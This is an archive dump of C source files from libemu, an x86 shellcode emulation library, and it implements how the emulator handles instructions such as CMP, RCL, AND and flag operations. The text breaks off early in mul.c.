r16,r/m16 */ uint16_t op; MEM_WORD_READ(c, i->modrm.ea, &op); INSTR_CALC_AND_SET_FLAGS(16, c, *c->reg16[i->modrm.opc], op, -) } else { /* 3B /r * Compare r/m32 with r32 * CMP r32,r/m32 */ uint32_t op; MEM_DWORD_READ(c, i->modrm.ea, &op); INSTR_CALC_AND_SET_FLAGS(32, c, c->reg[i->modrm.opc], op, -) } } else { if ( i->prefixes & PREFIX_OPSIZE ) { /* 3B /r * Compare r/m16 with r16 * CMP r16,r/m16 */ INSTR_CALC_AND_SET_FLAGS(16, c, *c->reg16[i->modrm.opc], *c->reg16[i->modrm.rm], -) } else { /* 3B /r * Compare r/m32 with r32 * CMP r32,r/m32 */ INSTR_CALC_AND_SET_FLAGS(32, c, c->reg[i->modrm.opc], c->reg[i->modrm.rm], -) } } return 0; } int32_t instr_cmp_3c(struct emu_cpu *c, struct emu_cpu_instruction *i) { /* 3C ib * Compare imm8 with AL * CMP AL,imm8 */ INSTR_CALC_AND_SET_FLAGS(8, c, *c->reg8[al], *i->imm8, -) return 0; } int32_t instr_cmp_3d(struct emu_cpu *c, struct emu_cpu_instruction *i) { if ( i->prefixes & PREFIX_OPSIZE ) { /* 3D iw * Compare imm16 with AX * CMP AX,imm16 */ INSTR_CALC_AND_SET_FLAGS(16, c, *c->reg16[ax], *i->imm16, -) } else { /* 3D id * Compare imm32 with EAX * CMP EAX,imm32 */ INSTR_CALC_AND_SET_FLAGS(32, c, c->reg[eax], i->imm, -) } return 0; } int32_t instr_group_1_80_cmp(struct emu_cpu *c, struct emu_cpu_instruction *i) { if( i->modrm.mod != 3 ) { uint8_t dst; MEM_BYTE_READ(c, i->modrm.ea, &dst); /* dst <-- dst imm8 */ INSTR_CALC_AND_SET_FLAGS(8, c, dst, *i->imm8, -) MEM_BYTE_WRITE(c, i->modrm.ea, dst); } else { /* reg8[rm] <-- reg8[rm] imm8 */ INSTR_CALC_AND_SET_FLAGS(8, c, *c->reg8[i->modrm.rm], *i->imm8, -) } return 0; } int32_t instr_group_1_81_cmp(struct emu_cpu *c, struct emu_cpu_instruction *i) { if ( i->modrm.mod != 3 ) { if ( i->prefixes & PREFIX_OPSIZE ) { /* 81 /7 iw * Compare imm16 with r/m16 * CMP r/m16, imm16 */ uint16_t dst; MEM_WORD_READ(c, i->modrm.ea, &dst); INSTR_CALC_AND_SET_FLAGS(16, c, dst, *i->imm16, -) } else { /* 81 /7 id * Compare imm32 with r/m32 * CMP r/m32,imm32 */ uint32_t dst; MEM_DWORD_READ(c, i->modrm.ea, &dst); INSTR_CALC_AND_SET_FLAGS(32, c, dst, i->imm, -) } } else { if ( i->prefixes & PREFIX_OPSIZE ) { /* 81 /7 iw * Compare imm16 with r/m16 * CMP r/m16, imm16 */ INSTR_CALC_AND_SET_FLAGS(16, c, *c->reg16[i->modrm.rm], *i->imm16, -) } else { /* 81 /7 id * Compare imm32 with r/m32 * CMP r/m32,imm32 */ INSTR_CALC_AND_SET_FLAGS(32, c, c->reg[i->modrm.rm], i->imm, -) } } return 0; } int32_t instr_group_1_83_cmp(struct emu_cpu *c, struct emu_cpu_instruction *i) { /* As the INSTR_CALC for big endian uses bcopy of the operands size, we have to create an operand of the size * and use it, the replacement aligned equal size operand is called imm */ #if BYTE_ORDER == BIG_ENDIAN uint8_t imm8; bcopy(i->imm8, &imm8, 1); #endif if ( i->modrm.mod != 3 ) { if ( i->prefixes & PREFIX_OPSIZE ) { /* 83 /7 ib * Compare imm8 with r/m16 * CMP r/m16,imm8 */ uint16_t dst; MEM_WORD_READ(c, i->modrm.ea, &dst); #if BYTE_ORDER == BIG_ENDIAN int16_t sexd = (int8_t) imm8; #else int16_t sexd = (int8_t) *i->imm8; #endif INSTR_CALC_AND_SET_FLAGS(16, c, dst, sexd, -) } else { /* 83 /7 ib * Compare imm8 with r/m32 * CMP r/m32,imm8 */ uint32_t dst; MEM_DWORD_READ(c, i->modrm.ea, &dst); #if BYTE_ORDER == BIG_ENDIAN int32_t sexd = (int8_t) imm8; #else int32_t sexd = (int8_t) *i->imm8; #endif INSTR_CALC_AND_SET_FLAGS(32, c, dst, sexd, -) } } else { if ( i->prefixes & PREFIX_OPSIZE ) { /* 83 /7 ib * Compare imm8 with r/m16 * CMP r/m16,imm8 */ #if BYTE_ORDER == BIG_ENDIAN int16_t sexd = (int8_t) imm8; #else int16_t sexd = (int8_t) *i->imm8; #endif INSTR_CALC_AND_SET_FLAGS(16, c, *c->reg16[i->modrm.rm], sexd, -) } else { /* 83 /7 ib * Compare imm8 with r/m32 * CMP r/m32,imm8 */ #if BYTE_ORDER == BIG_ENDIAN int32_t sexd = (int8_t) imm8; #else int32_t sexd = (int8_t) *i->imm8; #endif INSTR_CALC_AND_SET_FLAGS(32, c, c->reg[i->modrm.rm], sexd, -) } } return 0; } libemu-0.2.0+git20120122+564/src/functions/rcl.c0000644000175300017530000001661711706767213017601 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2007 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #include #include #define INSTR_CALC(bits, a, b, cpu) \ UINTOF(bits) operation_result = (a); \ uint8_t operand_b = (b); \ { \ operand_b = (operand_b & 0x1f) % (sizeof(operation_result) * 8 + 1); \ operation_result = operation_result << operand_b | operation_result >> (bits - operand_b + 1); \ if( CPU_FLAG_ISSET(cpu, f_cf) && operand_b > 0 ) \ { \ operation_result |= 1 << (operand_b - 1); \ } \ if( (a) & (1 << (bits - operand_b)) ) \ { \ CPU_FLAG_SET(cpu, f_cf); \ } \ if( operand_b == 1 ) \ { \ if( (operation_result >> (bits - 1)) ^ (cpu->eflags >> f_cf) ) \ { \ CPU_FLAG_SET(cpu, f_of); \ } \ else \ { \ CPU_FLAG_UNSET(cpu, f_of); \ } \ } \ a = operation_result; \ } #define INSTR_CALC_AND_SET_FLAGS(bits, cpu, a, b) \ INSTR_CALC(bits, a, b, cpu) \ INSTR_SET_FLAG_ZF(cpu) \ INSTR_SET_FLAG_PF(cpu) \ INSTR_SET_FLAG_SF(cpu) #include "emu/emu.h" #include "emu/emu_cpu.h" #include "emu/emu_cpu_data.h" #include "emu/emu_cpu_stack.h" #include "emu/emu_memory.h" /*Intel Architecture Software Developer's Manual Volume 2: Instruction Set Reference (24319102.PDF) page 631*/ int32_t instr_group_2_c0_rcl(struct emu_cpu *c, struct emu_cpu_instruction *i) { if ( i->modrm.mod != 3 ) { /* C0 /2 ib * Rotate nine bits (CF,r/m8) left imm8 times * RCL r/m8,imm8 */ uint8_t m8; MEM_BYTE_READ(c, i->modrm.ea, &m8); INSTR_CALC_AND_SET_FLAGS(8, c, m8, *i->imm8); MEM_BYTE_WRITE(c, i->modrm.ea, m8); } else { /* C0 /2 ib * Rotate nine bits (CF,r/m8) left imm8 times * RCL r/m8,imm8 */ INSTR_CALC_AND_SET_FLAGS(8, c, *c->reg8[i->modrm.rm], *i->imm8); } return 0; } int32_t instr_group_2_c1_rcl(struct emu_cpu *c, struct emu_cpu_instruction *i) { if ( i->modrm.mod != 3 ) { if ( i->prefixes & PREFIX_OPSIZE ) { /* C1 /2 ib * Rotate 17 bits (CF,r/m16) left imm8 times * RCL r/m16,imm8 */ uint16_t m16; MEM_WORD_READ(c, i->modrm.ea, &m16); INSTR_CALC_AND_SET_FLAGS(16, c, m16, *i->imm8); MEM_WORD_WRITE(c, i->modrm.ea, m16); } else { /* C1 /2 ib * Rotate 33 bits (CF,r/m32) left imm8 times * RCL r/m32,imm8 */ uint32_t m32; MEM_DWORD_READ(c, i->modrm.ea, &m32); INSTR_CALC_AND_SET_FLAGS(32, c, m32, *i->imm8); MEM_DWORD_WRITE(c, i->modrm.ea, m32); } } else { if ( i->prefixes & PREFIX_OPSIZE ) { /* C1 /2 ib * Rotate 17 bits (CF,r/m16) left imm8 times * RCL r/m16,imm8 */ INSTR_CALC_AND_SET_FLAGS(16, c, *c->reg16[i->modrm.rm], *i->imm8); } else { /* C1 /2 ib * Rotate 33 bits (CF,r/m32) left imm8 times * RCL r/m32,imm8 */ INSTR_CALC_AND_SET_FLAGS(32, c, c->reg[i->modrm.rm], *i->imm8); } } return 0; } int32_t instr_group_2_d0_rcl(struct emu_cpu *c, struct emu_cpu_instruction *i) { if ( i->modrm.mod != 3 ) { /* D0 /2 * Rotate nine bits (CF,r/m8) left once * RCL r/m8,1 */ uint8_t m8; MEM_BYTE_READ(c, i->modrm.ea, &m8); INSTR_CALC_AND_SET_FLAGS(8, c, m8, 1); MEM_BYTE_WRITE(c, i->modrm.ea, m8); } else { /* D0 /2 * Rotate nine bits (CF,r/m8) left once * RCL r/m8,1 */ INSTR_CALC_AND_SET_FLAGS(8, c, *c->reg8[i->modrm.rm], 1); } return 0; } int32_t instr_group_2_d1_rcl(struct emu_cpu *c, struct emu_cpu_instruction *i) { if ( i->modrm.mod != 3 ) { if ( i->prefixes & PREFIX_OPSIZE ) { /* D1 /2 * Rotate 17 bits (CF,r/m16) left once * RCL r/m16,1 */ uint16_t m16; MEM_WORD_READ(c, i->modrm.ea, &m16); INSTR_CALC_AND_SET_FLAGS(16, c, m16, 1); MEM_WORD_WRITE(c, i->modrm.ea, m16); } else { /* D1 /2 * Rotate 33 bits (CF,r/m32) left once * RCL r/m32,1 */ uint32_t m32; MEM_DWORD_READ(c, i->modrm.ea, &m32); INSTR_CALC_AND_SET_FLAGS(32, c, m32, 1); MEM_DWORD_WRITE(c, i->modrm.ea, m32); } } else { if ( i->prefixes & PREFIX_OPSIZE ) { /* D1 /2 * Rotate 17 bits (CF,r/m16) left once * RCL r/m16,1 */ INSTR_CALC_AND_SET_FLAGS(16, c, *c->reg16[i->modrm.rm], 1); } else { /* D1 /2 * Rotate 33 bits (CF,r/m32) left once * RCL r/m32,1 */ INSTR_CALC_AND_SET_FLAGS(32, c, c->reg[i->modrm.rm], 1); } } return 0; } int32_t instr_group_2_d2_rcl(struct emu_cpu *c, struct emu_cpu_instruction *i) { if ( i->modrm.mod != 3 ) { /* D2 /2 * Rotate nine bits (CF,r/m8) left CL times * RCL r/m8,CL */ uint8_t m8; MEM_BYTE_READ(c, i->modrm.ea, &m8); INSTR_CALC_AND_SET_FLAGS(8, c, m8, *c->reg8[cl]); MEM_BYTE_WRITE(c, i->modrm.ea, m8); } else { /* D2 /2 * Rotate nine bits (CF,r/m8) left CL times * RCL r/m8,CL */ INSTR_CALC_AND_SET_FLAGS(8, c, *c->reg8[i->modrm.rm], *c->reg8[cl]); } return 0; } int32_t instr_group_2_d3_rcl(struct emu_cpu *c, struct emu_cpu_instruction *i) { if ( i->modrm.mod != 3 ) { if ( i->prefixes & PREFIX_OPSIZE ) { /* D3 /2 * Rotate 17 bits (CF,r/m16) left CL times * RCL r/m16,CL */ uint16_t m16; MEM_WORD_READ(c, i->modrm.ea, &m16); INSTR_CALC_AND_SET_FLAGS(16, c, m16, *c->reg8[cl]); MEM_WORD_WRITE(c, i->modrm.ea, m16); } else { /* D3 /2 * Rotate 33 bits (CF,r/m32) left CL times * RCL r/m32,CL */ uint32_t m32; MEM_DWORD_READ(c, i->modrm.ea, &m32); INSTR_CALC_AND_SET_FLAGS(32, c, m32, *c->reg8[cl]); MEM_DWORD_WRITE(c, i->modrm.ea, m32); } } else { if ( i->prefixes & PREFIX_OPSIZE ) { /* D3 /2 * Rotate 17 bits (CF,r/m16) left CL times * RCL r/m16,CL */ INSTR_CALC_AND_SET_FLAGS(16, c, *c->reg16[i->modrm.rm], *c->reg8[cl]); } else { /* D3 /2 * Rotate 33 bits (CF,r/m32) left CL times * RCL r/m32,CL */ INSTR_CALC_AND_SET_FLAGS(32, c, c->reg[i->modrm.rm], *c->reg8[cl]); } } return 0; } libemu-0.2.0+git20120122+564/src/functions/and.c0000644000175300017530000002304711706767213017556 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2007 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #include #include "emu/emu_cpu.h" #include "emu/emu_cpu_data.h" #include "emu/emu_memory.h" #ifdef INSTR_CALC_AND_SET_FLAGS #undef INSTR_CALC_AND_SET_FLAGS #endif // INSTR_CALC_AND_SET_FLAGS #define INSTR_CALC_AND_SET_FLAGS(bits, cpu, a, b, c, operation) \ INSTR_CALC(bits, a, b, c, operation) \ CPU_FLAG_UNSET(cpu, f_of); \ CPU_FLAG_UNSET(cpu, f_cf); \ INSTR_SET_FLAG_ZF(cpu) \ INSTR_SET_FLAG_PF(cpu) \ INSTR_SET_FLAG_SF(cpu) #define TRACK_INIT_ALL_FLAGS(instruction_p) \ TRACK_INIT_EFLAG(instruction_p, f_of); \ TRACK_INIT_EFLAG(instruction_p, f_cf); \ TRACK_INIT_EFLAG(instruction_p, f_zf); \ TRACK_INIT_EFLAG(instruction_p, f_pf); \ TRACK_INIT_EFLAG(instruction_p, f_sf); int32_t instr_and_20(struct emu_cpu *c, struct emu_cpu_instruction *i) { TRACK_INIT_ALL_FLAGS(c->instr); /* 20 /r * r/m8 AND r8 * AND r/m8,r8 */ if ( i->modrm.mod != 3 ) { uint8_t dst; MEM_BYTE_READ(c, i->modrm.ea, &dst); INSTR_CALC_AND_SET_FLAGS(8, c, dst, *c->reg8[i->modrm.opc], dst, &) MEM_BYTE_WRITE(c, i->modrm.ea, dst); } else { INSTR_CALC_AND_SET_FLAGS(8, c, *c->reg8[i->modrm.rm], *c->reg8[i->modrm.opc], *c->reg8[i->modrm.rm], &) } return 0; } int32_t instr_and_21(struct emu_cpu *c, struct emu_cpu_instruction *i) { TRACK_INIT_ALL_FLAGS(c->instr); if ( i->modrm.mod != 3 ) { if ( i->prefixes & PREFIX_OPSIZE ) { /* 21 /r * AND r/m16,r16 * r/m16 AND r16 */ uint16_t dst; MEM_WORD_READ(c, i->modrm.ea, &dst); INSTR_CALC_AND_SET_FLAGS(16, c, dst, *c->reg16[i->modrm.opc], dst, &) MEM_WORD_WRITE(c, i->modrm.ea, dst); } else { /* 21 /r * r/m32 AND r32 * AND r/m32,r32 */ uint32_t dst; MEM_DWORD_READ(c, i->modrm.ea, &dst); INSTR_CALC_AND_SET_FLAGS(32, c, dst, c->reg[i->modrm.opc], dst, &) MEM_DWORD_WRITE(c, i->modrm.ea, dst); } } else { if ( i->prefixes & PREFIX_OPSIZE ) { /* 21 /r * AND r/m16,r16 * r/m16 AND r16 */ INSTR_CALC_AND_SET_FLAGS(16, c, *c->reg16[i->modrm.rm], *c->reg16[i->modrm.opc], *c->reg16[i->modrm.rm], &) } else { /* 21 /r * r/m32 AND r32 * AND r/m32,r32 */ INSTR_CALC_AND_SET_FLAGS(32, c, c->reg[i->modrm.rm], c->reg[i->modrm.opc], c->reg[i->modrm.rm], &) } } return 0; } int32_t instr_and_22(struct emu_cpu *c, struct emu_cpu_instruction *i) { TRACK_INIT_ALL_FLAGS(c->instr); /* 22 /r * r8 AND r/m8 * AND r8,r/m8 */ if ( i->modrm.mod != 3 ) { uint8_t op; MEM_BYTE_READ(c, i->modrm.ea, &op); INSTR_CALC_AND_SET_FLAGS(8, c, op, *c->reg8[i->modrm.opc], *c->reg8[i->modrm.opc], &) } else { INSTR_CALC_AND_SET_FLAGS(8, c, *c->reg8[i->modrm.opc], *c->reg8[i->modrm.rm], *c->reg8[i->modrm.opc], &) } return 0; } int32_t instr_and_23(struct emu_cpu *c, struct emu_cpu_instruction *i) { TRACK_INIT_ALL_FLAGS(c->instr); if ( i->modrm.mod != 3 ) { if ( i->prefixes & PREFIX_OPSIZE ) { /* 23 /r * r16 AND r/m16 * AND r16,r/m16 */ uint16_t op; MEM_WORD_READ(c, i->modrm.ea, &op); INSTR_CALC_AND_SET_FLAGS(16, c, op, *c->reg16[i->modrm.opc], *c->reg16[i->modrm.opc], &) } else { /* 23 /r * r32 AND r/m32 * AND r32,r/m32 */ uint32_t op; MEM_DWORD_READ(c, i->modrm.ea, &op); INSTR_CALC_AND_SET_FLAGS(32, c, op, c->reg[i->modrm.opc], c->reg[i->modrm.opc], &) } } else { if ( i->prefixes & PREFIX_OPSIZE ) { /* 23 /r * r16 AND r/m16 * AND r16,r/m16 */ INSTR_CALC_AND_SET_FLAGS(16, c, *c->reg16[i->modrm.rm], *c->reg16[i->modrm.opc], *c->reg16[i->modrm.opc], &) } else { /* 23 /r * r32 AND r/m32 * AND r32,r/m32 */ INSTR_CALC_AND_SET_FLAGS(32, c, c->reg[i->modrm.rm], c->reg[i->modrm.opc], c->reg[i->modrm.opc], &) } } return 0; } int32_t instr_and_24(struct emu_cpu *c, struct emu_cpu_instruction *i) { TRACK_INIT_ALL_FLAGS(c->instr); /* 24 ib * AL AND imm8 * AND AL,imm8 */ INSTR_CALC_AND_SET_FLAGS(8, c, *c->reg8[eax], *i->imm8, *c->reg8[eax], &) return 0; } int32_t instr_and_25(struct emu_cpu *c, struct emu_cpu_instruction *i) { TRACK_INIT_ALL_FLAGS(c->instr); if ( i->prefixes & PREFIX_OPSIZE ) { /* 25 iw * AX AND imm16 * AND AX,imm16 */ INSTR_CALC_AND_SET_FLAGS(16, c, *c->reg16[ax], *i->imm16, *c->reg16[ax], &) } else { /* 25 id * EAX AND imm32 * AND EAX,imm32 */ INSTR_CALC_AND_SET_FLAGS(32, c, c->reg[eax], i->imm, c->reg[eax], &) } return 0; } int32_t instr_group_1_80_and(struct emu_cpu *c, struct emu_cpu_instruction *i) { TRACK_INIT_ALL_FLAGS(c->instr); if( i->modrm.mod != 3 ) { uint8_t dst; MEM_BYTE_READ(c, i->modrm.ea, &dst); /* dst <-- dst imm8 */ INSTR_CALC_AND_SET_FLAGS(8, c, dst, *i->imm8, dst, &) MEM_BYTE_WRITE(c, i->modrm.ea, dst); } else { /* reg8[rm] <-- reg8[rm] imm8 */ INSTR_CALC_AND_SET_FLAGS(8, c, *c->reg8[i->modrm.rm], *i->imm8, *c->reg8[i->modrm.rm], &) } return 0; } int32_t instr_group_1_81_and(struct emu_cpu *c, struct emu_cpu_instruction *i) { TRACK_INIT_ALL_FLAGS(c->instr); if ( i->modrm.mod != 3 ) { if ( i->prefixes & PREFIX_OPSIZE ) { /* 81 /4 iw * r/m16 AND imm16 * AND r/m16,imm16 */ uint16_t dst; MEM_WORD_READ(c, i->modrm.ea, &dst); INSTR_CALC_AND_SET_FLAGS(16, c, dst, *i->imm16, dst, &) MEM_WORD_WRITE(c, i->modrm.ea, dst); } else { /* 81 /4 id * r/m32 AND imm32 * AND r/m32,imm32 */ uint32_t dst; MEM_DWORD_READ(c, i->modrm.ea, &dst); INSTR_CALC_AND_SET_FLAGS(32, c, dst, i->imm, dst, &) MEM_DWORD_WRITE(c, i->modrm.ea, dst); } } else { if ( i->prefixes & PREFIX_OPSIZE ) { /* 81 /4 iw * r/m16 AND imm16 * AND r/m16,imm16 */ INSTR_CALC_AND_SET_FLAGS(16, c, *c->reg16[i->modrm.rm], *i->imm16, *c->reg16[i->modrm.rm], &) } else { /* 81 /4 id * r/m32 AND imm32 * AND r/m32,imm32 */ INSTR_CALC_AND_SET_FLAGS(32, c, c->reg[i->modrm.rm], i->imm, c->reg[i->modrm.rm], &) } } return 0; } int32_t instr_group_1_83_and(struct emu_cpu *c, struct emu_cpu_instruction *i) { TRACK_INIT_ALL_FLAGS(c->instr); if ( i->modrm.mod != 3 ) { if ( i->prefixes & PREFIX_OPSIZE ) { /* 83 /4 ib * r/m16 AND imm8 (sign-extended) * AND r/m16,imm8 */ int16_t sexd = (int8_t)*i->imm8; uint16_t dst; MEM_WORD_READ(c, i->modrm.ea, &dst); INSTR_CALC_AND_SET_FLAGS(16, c, dst, sexd, dst, &) MEM_WORD_WRITE(c, i->modrm.ea, dst); } else { /* 83 /4 ib * r/m32 AND imm8 (sign-extended) * AND r/m32,imm8 */ int32_t sexd = (int8_t)*i->imm8; uint32_t dst; MEM_DWORD_READ(c, i->modrm.ea, &dst); INSTR_CALC_AND_SET_FLAGS(32, c, dst, sexd, dst, &) MEM_DWORD_WRITE(c, i->modrm.ea, dst); } } else { if ( i->prefixes & PREFIX_OPSIZE ) { /* 83 /4 ib * r/m16 AND imm8 (sign-extended) * AND r/m16,imm8 */ int16_t sexd = (int8_t)*i->imm8; INSTR_CALC_AND_SET_FLAGS(16, c, *c->reg16[i->modrm.rm], sexd, *c->reg16[i->modrm.rm], &) } else { /* 83 /4 ib * r/m32 AND imm8 (sign-extended) * AND r/m32,imm8 */ int32_t sexd = (int8_t)*i->imm8; INSTR_CALC_AND_SET_FLAGS(32, c, c->reg[i->modrm.rm], sexd, c->reg[i->modrm.rm], &) } } return 0; } libemu-0.2.0+git20120122+564/src/functions/misc.c0000644000175300017530000001665211706767213017753 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2007 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #include #include "emu/emu_cpu.h" #include "emu/emu_cpu_data.h" #include "emu/emu_cpu_stack.h" #include "emu/emu_memory.h" #include "emu/emu_log.h" #include int32_t prefix_fn(struct emu_cpu *c, struct emu_cpu_instruction *i) { /* dummy */ return 0; } int32_t instr_daa_27(struct emu_cpu *c, struct emu_cpu_instruction *i) { /* 27 * Decimal Adjust AL after Addition * DAA */ /*Intel Architecture Software Developer's Manual Volume 2: Instruction Set Reference (24319102.PDF) page 183*/ STUB(c); return 0; } int32_t instr_das_2f(struct emu_cpu *c, struct emu_cpu_instruction *i) { /* F2 * Decimal Adjust AL after Subtraction * DAS */ /*Intel Architecture Software Developer's Manual Volume 2: Instruction Set Reference (24319102.PDF) page 185*/ STUB(c); return 0; } int32_t instr_aas_3f(struct emu_cpu *c, struct emu_cpu_instruction *i) { /* 3F * ASCII Adjust AL After Subtraction * aas */ /*Intel Architecture Software Developer's Manual Volume 2: Instruction Set Reference (24319102.PDF) page 60*/ STUB(c); return 0; } int32_t instr_wait_9b(struct emu_cpu *c, struct emu_cpu_instruction *i) { /* 9B * Wait * wait */ /*Intel Architecture Software Developer's Manual Volume 2: Instruction Set Reference (24319102.PDF) page 747*/ STUB(c); return 0; } int32_t instr_pushf_9c(struct emu_cpu *c, struct emu_cpu_instruction *i) { /* 9C * Push EFLAGS Register onto the Stack * pushf */ /*Intel Architecture Software Developer's Manual Volume 2: Instruction Set Reference (24319102.PDF) page 627*/ PUSH_DWORD(c, c->eflags); // STUB(c); return 0; } int32_t instr_popf_9d(struct emu_cpu *c, struct emu_cpu_instruction *i) { /* 9D * Pop Stack into EFLAGS Register * popf */ /*Intel Architecture Software Developer's Manual Volume 2: Instruction Set Reference (24319102.PDF) page 578*/ POP_DWORD(c, &c->eflags); // STUB(c); return 0; } int32_t instr_sahf_9e(struct emu_cpu *c, struct emu_cpu_instruction *i) { /* 9E * Store AH into Flags * SAHF */ /*Intel Architecture Software Developer's Manual Volume 2: Instruction Set Reference (24319102.PDF) page 661*/ STUB(c); return 0; } int32_t instr_lahf_9f(struct emu_cpu *c, struct emu_cpu_instruction *i) { /* 9F * Load Status Flags into AH Register * SAHF */ /*Intel Architecture Software Developer's Manual Volume 2: Instruction Set Reference (24319102.PDF) page 381*/ STUB(c); return 0; } int32_t instr_cmc_f5(struct emu_cpu *c, struct emu_cpu_instruction *i) { /* F5 * Complement CF flag * CMC */ /*Intel Architecture Software Developer's Manual Volume 2: Instruction Set Reference (24319102.PDF) page 107*/ CPU_FLAG_TOGGLE(c,f_cf); return 0; } int32_t instr_clc_f8(struct emu_cpu *c, struct emu_cpu_instruction *i) { /* F8 * Clear CF flag * CLC */ /*Intel Architecture Software Developer's Manual Volume 2: Instruction Set Reference (24319102.PDF) page 106*/ CPU_FLAG_UNSET(c,f_cf); return 0; } int32_t instr_stc_f9(struct emu_cpu *c, struct emu_cpu_instruction *i) { /* F9 * Set CF flag * STC */ /*Intel Architecture Software Developer's Manual Volume 2: Instruction Set Reference (24319102.PDF) page 702*/ CPU_FLAG_SET(c,f_cf); return 0; } int32_t instr_cld_fc(struct emu_cpu *c, struct emu_cpu_instruction *i) { /*Intel Architecture Software Developer's Manual Volume 2: Instruction Set Reference (24319102.PDF) page 107*/ CPU_FLAG_UNSET(c,f_df); return 0; } int32_t instr_std_fd(struct emu_cpu *c, struct emu_cpu_instruction *i) { /*Intel Architecture Software Developer's Manual Volume 2: Instruction Set Reference (24319102.PDF) page 703*/ /* FD * Set DF flag * STD */ CPU_FLAG_SET(c,f_df); return 0; } int32_t instr_lea_8d(struct emu_cpu *c, struct emu_cpu_instruction *i) { /*Intel Architecture Software Developer's Manual Volume 2: Instruction Set Reference (24319102.PDF) page 393*/ if ( i->prefixes & PREFIX_OPSIZE ) { /* 8D /r * Store effective address for m in register r16 * LEA r16,m */ UNIMPLEMENTED(c, SST); } else { /* 8D /r * Store effective address for m in register r32 * LEA r32,m */ c->reg[i->modrm.opc] = i->modrm.ea; TRACK_INIT_REG32(c->instr, i->modrm.opc); } return 0; } int32_t instr_cbw_98(struct emu_cpu *c, struct emu_cpu_instruction *i) { /*Intel Architecture Software Developer's Manual Volume 2: Instruction Set Reference (24319102.PDF) page 104*/ if ( i->prefixes & PREFIX_OPSIZE ) { /* 98 * AX <- sign-extend of AL * CBW */ *c->reg16[ax] = (int8_t)*c->reg8[al]; } else { /* 98 * EAX <- sign-extend of AX * CWDE */ c->reg[eax] = (int16_t)*c->reg16[ax]; } return 0; } int32_t instr_cwd_99(struct emu_cpu *c, struct emu_cpu_instruction *i) { /*Intel Architecture Software Developer's Manual Volume 2: Instruction Set Reference (24319102.PDF) page 181*/ if ( i->prefixes & PREFIX_OPSIZE ) { /* 99 * DX:AX <- sign-extend of AX * CWD */ uint32_t sexd; sexd = (int16_t)*c->reg16[ax]; DWORD_UPPER_TO_WORD(*c->reg16[dx],sexd); DWORD_LOWER_TO_WORD(*c->reg16[ax],sexd); } else { /* 99 * EDX:EAX <- sign-extend of EAX * CDQ */ uint64_t sexd; sexd = (int32_t)c->reg[eax]; QWORD_UPPER_TO_DWORD(c->reg[edx],sexd); QWORD_LOWER_TO_DWORD(c->reg[eax],sexd); } return 0; } int32_t instr_esc_fpu_dx(struct emu_cpu *c, struct emu_cpu_instruction *i) { return 0; } int32_t instr_sldt_0f00(struct emu_cpu *c, struct emu_cpu_instruction *i) { /*Intel Architecture Software Developer's Manual Volume 2: Instruction Set Reference (24319102.PDF) page 692 */ STUB(c); if( i->prefixes & PREFIX_OPSIZE ) { /* 0F 00 /0 * Stores segment selector from LDTR in r/m16 * SLDT r/m16 */ if( i->modrm.mod != 3 ) { uint16_t word = 0; MEM_WORD_WRITE(c, i->modrm.ea, word); } else { *c->reg16[i->modrm.rm] = 0; } } else { /* 0F 00 /0 * Store segment selector from LDTR in low-order 16 bits of r/m32 * SLDT r/m32 */ if( i->modrm.mod != 3 ) { uint32_t word = 0; MEM_DWORD_WRITE(c, i->modrm.ea, word); } else { c->reg[i->modrm.rm] = 0; } } return 0; } int32_t instr_cpuid_0fa2(struct emu_cpu *c, struct emu_cpu_instruction *i) { STUB(c); return 0; } int32_t instr_salc_d6(struct emu_cpu *c, struct emu_cpu_instruction *i) { if( CPU_FLAG_ISSET(c, f_cf) ) *c->reg8[al] = 0xff; else *c->reg8[al] = 0; return 0; } libemu-0.2.0+git20120122+564/src/functions/mul.c0000644000175300017530000001035611706767213017610 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2007 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #include #include #include #define INSTR_CALC(inbits, outbits, cpu, a, b) \ UINTOF(inbits) operand_a = a; \ UINTOF(inbits) operand_b = b; \ UINTOF(outbits) operation_result = operand_a * operand_b; \ #include 